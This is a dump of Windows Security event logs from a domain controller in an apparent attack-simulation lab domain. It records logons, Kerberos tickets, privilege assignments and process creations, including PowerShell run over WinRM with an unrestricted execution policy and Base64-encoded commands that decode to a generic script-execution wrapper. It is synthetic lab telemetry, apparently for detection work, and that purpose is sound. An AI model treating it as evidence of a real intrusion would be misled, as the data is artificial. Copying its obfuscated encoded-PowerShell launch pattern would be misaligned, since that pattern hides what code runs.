SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250478 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F803 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250477 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10F803 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64452 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250476 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F803 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250475 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F7A2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250474 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10F7A2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64451 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250473 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10F7A2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x135c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250471 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250470 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E3F1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250469 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10E3F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250468 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250467 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CEF9BB43-2DC3-CA86-F3F5-318A049BE17D} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250466 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1274 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250464 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1204 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:26 PM 